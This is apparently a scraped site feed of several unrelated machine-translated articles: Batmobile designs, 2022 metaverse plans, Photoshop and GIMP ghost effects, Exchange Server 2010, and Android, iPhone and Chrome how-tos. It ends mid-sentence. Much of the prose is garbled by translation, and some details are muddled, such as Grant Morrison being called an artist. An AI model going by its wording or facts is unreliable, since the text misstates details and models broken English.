technology for the fight against his enemies.\n Even so, Batmam always drives a normal car that anyone can buy until the 80s of the last century. Therefore, this is also an opportunity for artists to unleash their creativity, making the Dark Knight have a few cars . funny. In this article we will take a look at the 10 weirdest cars Batman has ever driven.\n10. Batmobile of N orm Breyfogle\n Some sites consider that this is Batman's coolest car, but it's still a bizarre design. Created by artist Norm Breyfogle in the 80s, this is one of the products different from what Batman used before - a mysterious sports car painted in black.\nWhile it's truly innovative, there are a few characteristics that make it stand out. The first is the four wheels covered by the chassis itself, although this makes the control somewhat more difficult. The rear of the car was designed like a robe of the knight - a design quite beautiful and trendy compared to that time.\n9. Batcar sports car (Legends Of The Dark Knight No. 192)\n At first glance, it is no different from a regular Batmobile, but the more attention it shows, the more the singularity of this car.\nThe first is the four exhaust pipes placed on the back of the car - if Bruce Wayne wants Gotham to be a better place, maybe start with cutting down on the emissions that this car creates. out. The second is the open roof design, extremely suitable for bad guys like Deadshot to practice shooting.\nFinally, the weird design with the mask on the front of the car and the wings on both sides of Batcar made it to the edge after just a few Batman series.\n8. Grant Morrison's Batmobile\n While most of Batman's cars are painted in steel or black gray, this car has a pretty . eye-catching color scheme. Not only has a red glass layer, beautiful chrome body, it is even capable of . flying - making this Batmobile so strange.\nThis design was created by artist Grant Morrison in the Batman \u0026amp; Robin series, a series in which we see Dick Grayson paired with Damian Wayne. This is probably one of the strange designs for this duo, but is also considered a \"classic design\" for Batman in this century.\n7. Universal Batmobile (All-star Batman \u0026amp; Robin)\n Frank Miller painted the legendary dark knight - for both good and bad reasons. His Batman stories have revealed some strange designs for Bruce Wayne's car, one of which is a \"debt\" from the All-star Batman \u0026amp; Robin series. Its size is estimated to be the size of a mini bus with just a few seats.\nWhile it can transform into any type of medium to suit the environment, this universal transformation is the reason why it looks so hard to watch. Filled with cars and nails and sharp designs, many fans kept asking if this was a DC comic book or Transformers.\n6. The Bat Tank (The Dark Knight Returns)\n Not only was Frank Miller the creator of the transformation vehicle, he was also the inventor of the Batman tank. While in terms of meaning, it is not a \"car\", with two rows of identical wheels with bizarre bore shaped like a bat's head.\nIt doesn't look right, but it does go hand in hand with the plausible middle-aged Batman in this classic series.\n5. Bat-Subway Rocket underground ship rocket (Knightfall / Knightquest / Knightsend)\n There was a point in Batman's history when we saw Bruce Wayne take advantage of the abandoned railroads under Gotham to get around the city more conveniently, the most famous being the Knightfall series in the 90s of the century. before.\nThe logic behind this design is that Batman can travel through Gotham without being blocked by other ships. It's smart, but in the 1990s, it was quite paradoxical to see a Batmobile . lying on the track instead of on the street.\n4. Bat-Monster Truck (Batman: The Cult)\n Many questions were raised when Batman showed off this massive vehicle in the Batman: The Cul series: \"How can it be seen below?\", \"What if it overturns?\" . Of course this is Batman, and most loyal fans know that their hero will do everything with a clear intention.\nThe Batmobile is probably the largest and strongest vehicle Batman has ever built, and will undoubtedly top the list of the weirdest machines in the entire DC universe.\n3. Bat-Hatchback Car (The Legends Of The Dark Knight 134)\n This version of Bat-Mobile is both strange and funny - because of the proximity it brings. Most kids born and raised in the US may have come in contact with or owned a car similar to that and made them many times imagine themselves as the knight of the night.\nAlthough it only appeared for a moment - it was included in a scene of the first episode - the image of this car was imprinted into the history of DC. A simple design as well as a metaphor for the beginning of his career fighting against villains of Gotham.\n2. Bat-Mobile of HRGiger\n HRGiger is the painter responsible for the legendary Alien thriller and the shape of the monster Xenomorph. By combining the powerful shapes of machines with the softness of creatures, he created scary and creepy images. With such philosophy, Giger designed the car that can delve into the psychology of each criminal.\nThat's why in Batman: Forever, he was invited by Hollywood to be able to present a drawing for the dark knight's car. This is probably the most \"alien\" design that can be exchanged for a Bat-Mobile with four tentacles and two rows of guns used to attack. This is clearly a testament to the genius and creativity of Giger.\n1. Batmobile 1992\n Thanks to Tim Burton's famous film in 1989, DC chose this image as the car for Batman, but it did not receive much favor from readers. The reason comes from the Gothic design and the shape looks a bit like . something.\nNot to mention that, the three-wheel vehicle has proven itself to be impractical for maneuvering and controlling. Not to mention, Batman's head is lined up right along with two logos printed on both sides like a toy - just like a roller coaster at the amusement park!\nncG1vNJzZmismaXArq3KnmWcp51kfnF5zKiqrWWSnseivtGeZK%2BdmJ6wrbGMnZysoZejwG67xWaZmqydlrs%3D\n","link":"/post/10-most-bizarre-vehicle-designs-of-batman/","section":"post","tags":null,"title":"10 most bizarre vehicle designs of Batman"},{"body":"The big tech firms are betting that gadgets that transport users into fantasy worlds will open up the biggest new software market since Apple introduced touchscreen smartphones in 2007. If the metaverse 'takes off' wing', then perhaps everyone with a smartphone will soon own virtual reality (VR) glasses in a few years.\n\"The big tech platforms, which have benefited from the rise of mobile computing, are moving towards augmented reality as the next computing platform changes,\" wrote Goldman Sachs analyst Eric Sheridan. in a note in December 2021. He said it was the 'next logical shift in consumption patterns' and would create new leaders in the tech industry.\n  Technology companies are pouring billions of dollars into research and development of prototypes and underlying technologies, preparing for a virtual war when their products hit the market. According to Crunchbase, venture capitalists have poured $10 billion into virtual world-related startups by 2021. This figure does not include the budget from Big Tech. Goldman Sachs analysts estimate about $1,350 billion will be invested in developing virtual technologies in the coming years.\nBelow is CNBC's summary of the new product release plans in 2022 of the big names in the world technology industry.\nMeta In October 2021, Facebook changed its name to Meta Platforms to reflect the company's new focus on the concept of metaverse. Meta currently leads the way against other Big Tech competitors when it comes to the virtual super universe. According to IDC, Meta is manufacturing and selling VR hardware, which will account for 75% of the global market by 2021.\nLast Christmas, the most popular app on Apple's App Store in the US was the Oculus virtual reality app that required VR headsets. Quest 2. Although Meta has not announced sales for Quest, Qualcomm, the chipmaker At the heart of Quest, the company is estimated to have shipped 10 million units by November 2021.\nMeta is planning to release another high-end VR device this year called Project Cambria. The device will either have better 'mixed reality' hardware, or use a camera outside of a VR headset to deliver the real world to the user. Meta says the new product also includes face and eye tracking, which makes the device more responsive to user commands.\nMeta's initial foray into the market gave the company an early look at what users wanted for VR headsets. In December 2021, the US technology company launched the Horizon Worlds social platform, where people can attend comedy shows and movie screenings inside Facebook's virtual world. Meta has acquired several companies that make popular apps for Oculus, notably the VR exercise app Supernatural. However, Meta's acquisition strategy is subject to antitrust scrutiny.\nApple Apple has never confirmed it is working on a virtual reality device, but the company has been creating prototype approaches within its Technology Development Group for years.\nApple has been laying the groundwork for a large product portfolio. Its newer iPhones are equipped with Lidar sensors that can measure the distance of a subject, which is important for location-based applications. Recent iPhones and iPads also come with ARkit software, which allows app developers to use the iPhone's sensors for accurate mapping and localization.\nThose blocks of technology are creating the foundation for a completely new product, expected to be a high-end headset made by Apple, combining virtual reality (VR) and augmented reality (AR). , which is supposed to launch in 2022.\nUnlike Meta, Apple doesn't discuss new hardware products until they're ready to be revealed. Once Apple releases the VR glasses, it will likely shake up the entire market and provide a new approach to many competitors, much like what the iPhone did to the smartphone market and the Apple Watch did. do with smart watches. Apple's competitors will be watching closely to see as CEO Tim Cook showcases the biggest selling point and advantage for its VR headset.\nThe content and how Apple integrates its services will be critical to the appeal of the new device. There are many questions raised right now, for example Apple will introduce a new app store for virtual reality applications? Will Apple Glasses feature exclusive sports or music content stemming from the NextVR purchase? Investors and market analysts alike are beginning to wonder if future sales of VR/AR glasses, or other virtual reality-based devices, will push Apple's stock even higher, if the company released its first new product catalog in 7 years.\nGoogle Google started the VR glasses craze in Silicon Valley when it introduced Google Glass in 2013. The experiment was not well received at the time. Currently the company sells Google Glass for businesses and not for users.\nHowever, there are signs that Google is getting back to augmented reality seriously, even though it doesn't have as many widely publicized products or technologies as its competitors. Since Glass first came out, new AR glasses have been introduced with more sophisticated screens, better sensors, and more powerful processors.\nGoogle, the company with the world's most popular Android operating system, will lose the most if the metaverse-related device replaces smartphones with a new operating system. In 2020, Google acquired North, a startup specializing in the production of lightweight AR glasses, the spiritual successor in terms of functionality of Google Glass. As shared by Senior Director Mark Lucovsky in December 2021, Google now has a new team focused on operating systems for augmented reality. Before joining Google, Mr. Lucovsky worked at Meta. Google is hiring a lot of people for this team and is adding products 'to the AR category'.\nMicrosoft Microsoft was the first Big Tech to introduce HoloLens full-featured AR glasses in 2016. But it may take a long time for Hololens to be a device that users will wear regularly. Instead, Microsoft decided to focus on 'enterprise', or selling AR glasses to financially viable entities, wanting to see if the technology would make their employees more productive.\nHoloLens' most famous customer is the US military. Microsoft won a $22 billion contract in early 2021, selling 120,000 custom HoloLenses to the government so soldiers could use them for 'increased lethality' purposes. However, the US Army said it will delay the start of field testing of HoloLens to 2022. Whether the deal continues to be delayed, or whether it will benefit both parties or not will be trusted. important effect on the augmented reality market.\nHoloLens is also of interest to medical companies who want to see if augmented reality can help improve operating room operations, or could even help perform surgery remotely.\nMicrosoft is investing heavily in cloud services to be the glue for a virtual world that is expected to be introduced more widely to the public this year. In March 2021, the company announced Mesh, allowing software makers to create apps that help different devices share the same digital reality. Microsoft laid the groundwork for this push in 2017 when it acquired AltspaceVR. Microsoft is integrating Mesh into its Teams business communication platform. Features for Xbox games are also being worked on, but no release date has been set yet.\nncG1vNJzZmismaXArq3KnmWcp51kf3F%2BkWauoqScYq%2BmecBmmaKfXa6yor6Mn6arZaSdsm65xK2Yr52iqLI%3D\n","link":"/post/2022-will-be-a-big-year-for-the-metaverse/","section":"post","tags":null,"title":"2022 will be a big year for the metaverse"},{"body":"TipsMake.com - Do you often see online or share scary ghost photos but also fun? So do you want to do this?\nJust a few minutes with Photoshop or GIMP, you can easily create photos with impressive ghosts. Then you can bring your work to use in the upcoming Halloween or create an interesting joke with your friends.\nThe following article will detail the cutting process - collage someone's picture and ' magically ' make it a real ghost.\n1. Create ghosts in Photoshop   First we need to prepare a good image source as a ' material '. You can download it here.\nNext choose the background image accordingly. Here we choose the evening corridor:\n  Click the Crop menu (shortcut C ) to crop the part you want to do, here we cut the scary image of this girl:\n  Create a new layer from the background layer by clicking the Create a new layer button:\n  We use the brush tool (press shortcut B ) and right-click to set the hardness. Editing Hardness to 100% will be suitable for hard edges, although a softer brush is good for areas such as hair, which is difficult to define.\n  Press D to return to Photoshop's default color mode, use the brush and paint black for the unused part. The bright area is the most important part, but it doesn't need to be accurate. You can choose quickly:\n  After coloring, go to Channels mode (Window\u0026gt; Channels).\n  Hold Ctrl and click RGB to load all 3 channels at once.\nSimultaneously press Ctrl + Shift + N to create a new layer:\n  Navigate to Edit \u0026gt; Fill menu. Use : select White , uncheck the box in Preserve Transparency . Then select Select \u0026gt; Deselect (Ctrl + D) to cancel the selection. Now your image will be covered with a white layer. Next open the image as the background and continue the second step.\n  Press V to select the scrolling tool, drag - drop the image layer that has just been white in the background. Press Crtl + T and resize it accordingly.\n  Press Ctrl + G to create a layer group, click the Add layer mask button to create a layer mask. Click on this layer mask, navigate to the Edit \u0026gt; Fill menu, select Black in the Use field .\n  Don't be surprised if your ' ghost ' suddenly disappears from the selected layer mask. Navigate to Filter \u0026gt; Render \u0026gt; Clouds :\n  This will create a fuzzy smoke for the layer:\n  Click on the button  and select ' Solid Color ' to adjust the layer.\n  Choose any color to paint your ghost image.\n  This layer should be placed at the top of the background and the ghost layer. Navigate to Layers \u0026gt; Create Clipping Mask . This clipping mask will allow you to use any color you want for your ghost and change it automatically.\n  Here your ghost is relatively complete. You can change a bit of settings and further customize your work to be more unique.\n  2. Make ghosts in GIMP In general, the above instructions work well, only that taking photos makes ' ghosts ' from a certain image different when working in GIMP. Here's how to do it:\nCreate a new layer, and like in Photoshop, paint black for the unwanted part.\n  And you don't need to paint too accurately, a little mistake will not affect your work.\n  Switch to channels, right-click on the channel Red select ' Channel to Selection .'\n  Then right-click the Blue channel and select ' Intersect with Selection .' Finally right-click on the Green channel and select ' Intersect with Selection '.\n  Create a new layer:\n  GIMP will allow you to color foreground or background. In this case, the BG is white so we will color the BG.\n  At this point, it's best to save the image of 'ghost' as a GIMP xcf and place it on the background layer.\n  To do this, make sure that your ' ghost ' image is saved as an XCF file and open the background file by going to File \u0026gt; Open as Layers .\n  Scale tools can help resize the ' ghost ', and you can mark your layer with transparency as in Photoshop.\n  GIMP does not support precise cutting of masks like Photoshop, so at the ' ghost ' layer you right-click and select ' Alpha to Selection .'\n  Create a new layer to color the ' ghost ', right-click on it to create a layer mask. When the dialog box on the right appears, select ' Selection ' and then click ' Add .'\n  And this is your result:\n  ncG1vNJzZmismaXArq3KnmWcp51ksLOxwK2cZp%2BYpMC1v4yipWaomKTBsL%2FHqKdmp6JitKq5zw%3D%3D\n","link":"/post/create-ghosts-in-photoshop-or-gimp/","section":"post","tags":null,"title":"Create ghosts in Photoshop or GIMP"},{"body":"Network Management - Exchange Server 2010 continues to add new mail management features to businesses.This new version integrates a variety of mail and communication management tools such as Archiving (Storage), Compliance, High Availability, . However, when a new set of tools appears, we have to calculate how to manage them. In Exchange Server 2007 you can control everything through PowerShell Cmdlets and EMC (Exchange Management Console) integrated simulation of these administrative functions. In Exchange Server 2010, PowerShell Cmdlets has been greatly improved to manage multiple tools, and administrative tasks are made easier on EMC. This series of articles will review all the new administrative features integrated on EMC. High Availability This is one of the most noticeable features of Exchange Server 2010. High Availability in Exchange Server 2010 combines copying and Windows Clustering techniques to bring a more seamless and useful Exchange structure. One of the main tools used to manage High Avalilability is Database Availability Group (DAC). This is an appropriate storage tool for Mailbox servers to help identify problems with databases, servers and networks. Along with DAG, we need to mention DAG Networks that can be turned on or off to create continuous custom feedback capabilities and create network databases. Creating and configuring DAG as well as DAG Networks is easy in EMC. The pictures below show the process of managing DAG and DAG Networks in EMC.  Figure 1: Wizard to create a new Database Availability Group.\n Figure 2: Managing DAG Networks.\n Figure 3: New DAG member management wizard.\nYou can easily add servers to DAG or remove these servers very easily. When a new server is added to the DAG, it will immediately participate in the automatic database recovery process. In Exchange Server 2010, databases are created on a new storage structure and do not use Storage Group in Exchange Server 2007. Along with these improvements, EMC has been improved to support management tasks and monitor database copies (Database Copy). In addition, EMC also allows system administrators to manually perform the conversion process. The following illustration shows a task of managing Database and Database Copy in EMC.  Figure 4: Additional wizard Mailbox Database Copy.\n Figure 5: Database management window.\n Figure 6: Properties of a Mailbox Database.\nArchiving Storage is one of the new features in Exchange Server 2010. Storage areas provide a core compatibility requirement by ensuring Exchange Server processes all mailbox data in addition to storing in a third-party backup application. , personal storage, PST file, etc. The archiving process can be activated right in the mailbox, during and after creating a mailbox, or in Bulk, .  Figure 7: Enable archiving while creating mailboxes.\n Figure 8: Enable storage for an existing mailbox.  Figure 9: Enabling storage for a mailbox group in Bulk | Enabling Archive.  Figure 10: Storage area displayed as a feature of the mailbox \n in the Mailbox Property page.  Figure 11: Use the Create Filter option to see if mailboxes have been archived.\nFederation and Sharing The Federation and Sharing feature allows organizations to seamlessly connect with each other based on traditional mail communication methods. Exchange Server 2010 helps to share and access PIM data (busy / free information, schedules and contacts) stored in Exchange with external users to the Exchange system while maintaining security and monitoring. Control information at the sharing level as well as TLS level. The configuration and management of information is very simple in EMC. Here are some steps to install Federation and Sharing in an Exchange Server 2010 system and how to share data with other Exchange systems.  Figure 12: Federation Trust settings between two systems with group 3 licenses.  Figure 13: Create a new Relationship Organization between Exchange systems.  Figure 14: Creating a Sharing Policy to connect to the user in the Exchange system.\nncG1vNJzZmismaXArq3KnmWcp51ksaq%2FwqitnqpdmrqkecinZJ6wk52ur7PEZqqeqqaav25%2Bj2pnZqiRp8FufQ%3D%3D\n","link":"/post/discover-emc-in-exchange-server-2010-part-1/","section":"post","tags":null,"title":"Discover EMC in Exchange Server 2010 (Part 1)"},{"body":"  Open the Google Play Music page on your computer. Open your computer, access https://music.google.com/ on a web browser. This is the operation to open the Google Play Music homepage if you are signed in with your Google account.\nIf you're not signed in to your Google account, click Sign in in the top right corner of the screen, then enter your email address and password.\nIf you're signed in to more than one Google account, you can click on your profile picture in the top right corner of the screen and select the account you want to use from the drop-down menu.\n  Click on ☰ . This icon is located in the top left corner of the screen. This is the operation that opens the pop-up window on the left side of the screen.\n  Click on Upload music . You can find this option at the bottom of the pop-up window. This is the operation to open the music posting page on Google Play Music.\nIf you don't have Google Play Music set up, click NEXT, enter your credit or debit card information, and click ACTIVATE before continuing. You are not charged, this is just a verification of the country you live in.\n  Click on SELECT FROM YOUR COMPUTER . This option is located at the bottom of the page. A File Explorer (Windows) or Finder (Mac) window will appear.\n  Select the music folder. Click on the music storage folder on the left side of the window. You need to double click on the additional folder in the main window to navigate to the music collection.\n  Select music to add. Click and drag the mouse pointer around the contents of the folder to select songs, or hold Ctrl (Windows) or ⌘ Command (Mac) and click to select individual songs.\n  Click on Open . This button is at the bottom of the window. This is the process of uploading the selected song to Google Play Music. Once done, you can listen to the song using the Google Play Music app.\nCopy music files on Windows   Connect Android to computer. Use the Android charging cable to connect to the USB port on the computer.\nIf Android asks you to choose a connection type, select Media device (MTP) on the screen before continuing.\n  Open Start. Click on the Windows icon in the lower left corner of the screen.\n  Open File Explorer. Click the folder icon in the lower left corner of the Start window.\n  Go to the music folder. Open the music folder by clicking on the folder on the left side of the File Explorer window. You can double-click the additional folder in the main Explorer window to navigate to the folder containing the music.\n  Select the music you want to add. Click and drag the mouse pointer around the songs you want to select to highlight them, or press the Ctrl key and select each song.\n  Click on the Home tab . This tab is located in the upper-left corner of the File Explorer window. This is to open the toolbar below the Home tab.\n  Click Copy to . This folder-shaped icon is located in the \"Organize\" section of the toolbar. A drop-down menu will appear.\n  Click Choose location . This option is at the bottom of the drop-down menu.\n  Click on the Android device name. This folder should appear in a pop-up window. This is a folder expansion operation to display files on Android.\nYou may have to scroll down to see the Android name.\n  Click on the \"Music\" folder. This option is located under Android's expanded folder.\n  Click Copy . This button is at the bottom of the window. This is the operation to copy selected songs to Android device.\nThis process will take a while.\n  Disconnect Android. This is a safe operation when unplugging Android from the computer after copying music.\nCopy music files on Mac   Connect Android to Mac. Use the Android charging cable to connect to the USB port on the computer.\nIf your Mac doesn't have a USB port, you'll need to purchase a USB-C to USB-3.0 adapter.\nIf Android asks to choose a connection type, select Media device (MTP) on the screen before continuing.\n  Open a web browser on Mac. Since Androids don't sync with Macs on their own, you'll need to download an official program to help Android connect to your Mac.\n  Open the Android File Transfer page. Go to http://www.android.com/filetransfer/. This is the address to open the download page.\n  Click the DOWNLOAD NOW button . This is the green button in the middle of the page. This is the operation to download the Android File Transfer installation file to your device.\nDepending on your browser's settings, you may have to confirm the download or select a storage location before you begin.\n  Install Android File Transfer. Double-click the DMG file, verify it in System Preferences (MacOS Sierra and higher), then click and drag the Android File Transfer icon onto the \"Applications\" shortcut.\n  Open Finder. This is the blue face icon in the Mac's system tray.\n  Access the music storage folder. Click the music folder on the left side of the Finder window. You can double-click the additional folder in the main Finder window to navigate to where the music is saved.\n  Select the song you want to add. Click and drag the mouse pointer around the content to highlight, or hold down the ⌘ Command key and click to select each article.\n  Click on Edit . This option is located in the top left corner of your Mac screen. A drop-down menu will appear.\n  Click Copy . You can find this option at the top of the Edit menu. This is the operation to copy the selected music.\n  Open Android File Transfer. Once done, you will see Android folders including the \"Music\" folder listed in the Android File Transfer window.\n  Double click on the \"Music\" folder. The folder will be in the center of the Android File Transfer window. This is to open the \"Music\" folder.\n  Click the Edit button , then click Paste Items . You can find the Paste Items option at the top of the Edit menu. This is an operation to copy music to an Android device. Once the process is complete, you can safely unplug your phone from your computer and start listening to music.\nThis process can take a while.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpufpcZuudSsoJxlpKR6orrDq6ainF2Zsre1wp4%3D\n","link":"/post/how-to-copy-music-to-android-device/","section":"post","tags":null,"title":"How to Copy Music to Android Device"},{"body":"Very few people display every application they use on the home screen of an Android smartphone or tablet. Sometimes, apps are moved to keep the home screen tidy, but sometimes apps are hidden for another reason. Here are the easiest and most effective ways to find hidden apps on your Android tablet or phone.\nNote: The information below is applicable to all Android phone manufacturers, including Samsung, Google, Huawei, Xiaomi, etc.\nUnderstand Android folders and screens Like most smartphones and tablets, Android devices have a home screen that extends horizontally, far beyond what you see when you first turn on the device. Other parts of the home screen are used to organize apps and widgets into groups and hide apps from prying eyes.\nTo view all parts of the home screen on an Android device, swipe from right to left.\nThere may be more than one additional screen, so keep swiping left until the icons shown cannot be moved any further.\nAnother way to hide apps on Android is to place it in a folder. The folders are visible on the home screen and look like a set of 4 small application icons. Click on a folder to open and view the application.\nHow to find hidden apps in the app drawer Viewing apps on the Android home screen is a good start, but not all apps installed on Android devices are visible. To see the full list of installed apps, open the app drawer by clicking the icon in the lower middle center of the screen, which looks like a circle with 6 dots in it.\nAfter clicking this icon, a complete list appears with the installed applications arranged alphabetically. This will show you most of the apps on Android devices, but some may be hidden. To display these hidden applications, do the following.\nNote : This method is not available on all Android devices by default. The launcher (launcher) identifies the options in the tray. If you don't have these options, try another launcher, like Nova Prime, that supports hidden apps.\n1. From the application drawer, touch the 3-dot icon in the upper right corner of the screen.\n2. Click Hide apps.\n 3. The list of hidden applications is displayed. If this screen is blank or the Hide apps option is lost, that means no apps are hidden.\nHow to find hidden apps in Settings The full list of apps can also be accessed from the Settings section . To open the Settings app , touch Settings (gear icon). In Settings , click Apps \u0026amp; notifications , then select See all apps .\n The list also shows the files and system applications that help the Android operating system run correctly. To display these items, click the 3-dot icon in the upper right corner, then click Show system.\nConsider some 'camouflage' apps for Android Looking at the icon and the name of the application may not be enough to talk about what is happening on an Android phone or tablet. There are many apps in the Google Play app store that look like some kind of app, but are designed to hide images, videos and other data.\nA common example is the Smart Hide Calculator application that looks and acts like a basic computer application, but is essentially a file storage application. The computer user interface is fully functional, but when the user enters a PIN code, the application unlocks and reveals its true purpose.\nIn addition, there are many other options. Refer to: 4 methods of hiding and restricting apps on Android for more details.\nTo double check the true identity of any Android application, do the following.\n1. Click the application icon until a small menu appears.\n2. Touch the small letter i in the circle next to the pencil icon.\n3. A page detailing everything about the application, from storage capacity to its permissions will appear. Click on the application details.\n 4. The app's product page in the Google Play Store will appear. From here, you can read the official information about the application, including the reviews of other users.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6Zo7FutMidm56mXZa9sb%2BMqKVmmZ6Zv7C1ww%3D%3D\n","link":"/post/how-to-find-hidden-apps-on-android/","section":"post","tags":null,"title":"How to find hidden apps on Android"},{"body":"Therefore, having this feature malfunction is really a big problem, such as when you need to locate the map or view weather information in a specific location. So how to fix the problem? You can try the following options.\nCause the GPS feature on iPhone is not working You may not know it, but some settings on your iPhone may prevent GPS from working. In addition, other causes can be such as weak signal, outdated map data, or hardware failure. While GPS issues on iPhone are not uncommon in fact, they are quite likely to happen after you update iOS. In addition, the fix is ​​not too complicated.\n  Some GPS remedies 1. First and easiest: Please restart your iPhone. Turn it off, wait a minute and turn it on again. For software-based electronics, rebooting the system can sometimes be a simple but extremely effective solution to problems.\n2. Move to an open space area. Avoid areas with no signal or weak signals, or interference such as metal buildings, dense wooded areas, or tunnels. Move to an open location and check the GPS signal.\n3. Update iOS. Make sure your iPhone is running the latest version of iOS and if not, upgrade it. Every new version of iOS contains bug fixes as well as new features.\n4. Mobile data confirmation is turned on. Disable and re-enable the Cellular Data slider in iPhone settings and confirm that you have a signal.\n5. Turn on WiFi or mobile data. These connections help ensure accuracy for GPS.\n6. Another quick fix is ​​to try turning on Airplane Mode for 30 seconds. Then turn it off and re-enable the GPS on the device.\n7. Similarly, enabling and disabling Location Services is a simple trick you can try.\n8. Check the Date \u0026amp; Time Zone setting again. Another reason why GPS might not work is that your phone's date and time zone settings are incorrect. To fix it, go to Settings\u0026gt; General\u0026gt; Date \u0026amp; Time and select Set Automatically.\n  9. Reset network settings on the device. This can help solve many problems with WiFi, GPS and Bluetooth connectivity when they go wrong. Once the reset is complete, check your GPS to see if it works.\n10. Restart the application. If the GPS problem is only with one app, please:\nClose the app and reopen it. Check the App Store to confirm that you are running the latest version of the app. Confirm Location Services are enabled for that particular app. Delete it and reinstall it from the App Store. 11. The last resort is a factory reset (factory reset) iPhone, if none of the above fixes work.\nIf you have tried all of the above and still do not fix the problem, it is likely that this is a hardware related problem. Take your iPhone to reputable phone repair sites for in-depth testing.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXqovNJmpaisXay8s7fIp55mp55itrG0zqec\n","link":"/post/how-to-fix-gps-not-working-on-iphone/","section":"post","tags":null,"title":"How to fix GPS not working on iPhone"},{"body":"The phenomenon of yellow screen, green haunting, color noise occurs with quite a small week on iPhone, iPad devices, but not without. And of course, this phenomenon will cause discomfort to users. From iOS 10 and above, Apple has provided Display Accommodations to help us freely change the colors on the screen. As a result, the yellow haunting phenomenon or green haunting on the device will no longer happen.\nIn this article, TipsMake.com will show you how to use the Adaptive screen feature to fix the yellow iPhone screen, color noise.\nPhone does not charge or charge slowly, this is how to handle it 4 ways to fix iPhone home button yourself 2 ways to take screenshots on iPhone, iPad phones Step 1:\nFirst of all, we will go to Settings\u0026gt; General Settings\u0026gt; Accessibility .\n   Step 2:\nAt the Accessibility section, we will click on the screen Adaptation and then press the Color Filter .\n   Immediately afterwards, push the horizontal bar from left to right to enable the Color Flush feature on the device to use.\n  Step 3:\nImmediately afterwards, a color filter appears with options for users to adjust: Gray Ladder, Red / Green Filter, Green / Red Filter. Lam / Yellow Filter, Color Shading. Below the screen, you can adjust the intensity and strength of each filter when dragging the horizontal bar to the left or right.\n   Step 4:\nIf users want to manually adjust the screen color manually, then click the Color Shades section, combined with the dragging the contrast scale.\nSome suggestions for customizing the screen on the device:\nEditing to yellow tones limits glare when used.\n  Adjust the screen to darker tones.\n  Or adjust the screen to blue tones.\n  We can also switch to the red screen if you like.\n  Above is a guide to customize colors for iPhone / iPad screen iOS 10, or fix yellow screen error with Display Accommodations. The disease is nearby, users can manually adjust the screen color to suit the needs of use.\nRefer to the following articles:\nUpgrade iOS 10 and attractive features not to be missed How to use Tapback and Emoji iMessage features on iOS 10 Unlock iOS 10 device with just 1 touch, have you tried it or not? I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXq6sculprBlo5i%2FprHNZqCpoJ%2Bjsm6x0aumqw%3D%3D\n","link":"/post/how-to-fix-yellow-screen-iphone-error/","section":"post","tags":null,"title":"How to fix yellow screen iPhone error"},{"body":".swf is a fairly popular file format a dozen years ago, many games and videos are saved in this format. Previously, you could easily view the .swf file right on the Google Chrome browser, but now, it will be much more difficult when Chrome is very strict with .swf files.\nA much faster solution is to download Adobe Flash Player 9 to your computer, you can view all the .swf files you need, including videos from the Cisco Lab on Network Administrator. This software is quite compact, less than 1.5 MB in size, easy to use and open extremely fast .swf file.\nTo get started, download Adobe Flash Player 9 to your computer.\nYou do not need to install, after downloading just double click on the .exe file to run, drag any .swf file into the interface of the application to view.\n  Interface of Adobe Flash Player 9 when watching Cisco videos\nWhen downloading .swf file, you will be warned by Google Chrome browser that this file can be dangerous to your computer, if you want to download it, click Keep / Keep to download the file, if you are sure that the file Does it matter.\nGood luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVlrFuwsiermarp5t6p7XLnqpmnpyWwKl5xaKjnqtdpLtur86mp66slafA\n","link":"/post/how-to-read-view-swf-files-flash-files-on-computers/","section":"post","tags":null,"title":"How to read, view .swf files, Flash files on computers"},{"body":"  Open Google Chrome. The app has green, red, yellow and blue spherical icons.\n  Click the ⋮ sign in the upper-right corner of the Chrome window. A drop-down menu will pop up.\n  Click Settings located in the drop-down menu. The Settings page will open.\n  Sign in to Google Chrome if necessary. Signing in to Chrome allows you to save any subsequent settings to your Google account, which means you'll be able to access the personalized homepage on any computer where you're signed into Chrome. To do this, we need:\nClick SIGN INTO CHROME at the top of the Settings page.\nEnter email address and click NEXT (NEXT)\nEnter the password and click NEXT\n  Scroll down to the \"Appearance\" section near the top of the Settings page.\n  Turn on the \"Home\" button. If the switch next to \"Show Home button\" is gray, click it to bring up the home button. The switch will turn blue.\nIf the switch is blue and you see the house icon in the upper-left corner of the Chrome window, the Home button is enabled.\nThe Home button allows you to return to the home page immediately after clicking.\n  Check the \"New Tab page\" box just below the \"Show Home button\" line. The \"New Tab\" page will be set as the homepage; This is quite important because New Tab is the easiest page to customize.\n  Scroll down to the \"Search engine\" section near the middle of the Settings page.\n  Click the \"Search engine used in the address bar\" box at the top of the \"Search engine\" section. A menu will drop down.\n  Choose the search engine that you usually use. In the drop-down menu just now, click the search engine you want to use (eg Google). You can choose one of the following tools:\nGoogle Bing Ask AOL   Scroll down to the \"On start-up\" section at the bottom of the Settings page.\n  Check the box \"Open the New Tab page\". Thus, the personalized homepage will appear when you open Google Chrome.\nMore wallpapers   Open Chrome Web Store (Chrome Web Store). Go to https://chrome.google.com/webstore/ using the Chrome browser. At the Chrome Web Store, you can install free wallpapers, themes, and customizations for your homepage.\nYou can also scroll up to the \"Appearance\" section and click Themes to open the Web Store.\n  Click the Themes tab at the top left of the Chrome Web Store, just below the Search bar. A list of wallpapers and visual themes for the Chrome browser will appear.\nSkip this step if you clicked the Themes button of the Settings page to open the Chrome Web Store.\n  Browse the available themes. Scroll down through the image wallpapers and themes until you find a good choice.\nRemember, the selected theme becomes the background image for your homepage, as well as some Google pages.\n  Choose a topic. Click on the theme that you want to use for your homepage. The theme's page will open.\n  Click ADD TO CHROME . This blue button is located in the upper right corner of the theme's page.\n  Wait for the theme to finish installing. Once the installation is complete, your browser will refresh and show the changes.\nAdd new layout   Close the selected theme window again. Click the little x in the upper right corner of the theme window to close it. Now, after you've changed the background image, you can add features and widgets to the homepage.\nIf you closed the Chrome Web Store, reopen it before continuing.\n  Click the search bar in the upper-left corner of the Chrome Web Store page.\n  Type new tab and press ↵ Enter. This will search the Chrome Web Store for New Tab layouts that differ from standard Google Chrome features.\nFor example, the New Tab layout could include a weather widget or an updated search interface.\n  Check the \"Extensions\" box in the upper left corner of the page. This will ensure that you only see results for extensions.\n  Browse the available extensions. Scroll down on the New Tab layouts until you find the one you like.\nINFINITY NEW TAB and Speed 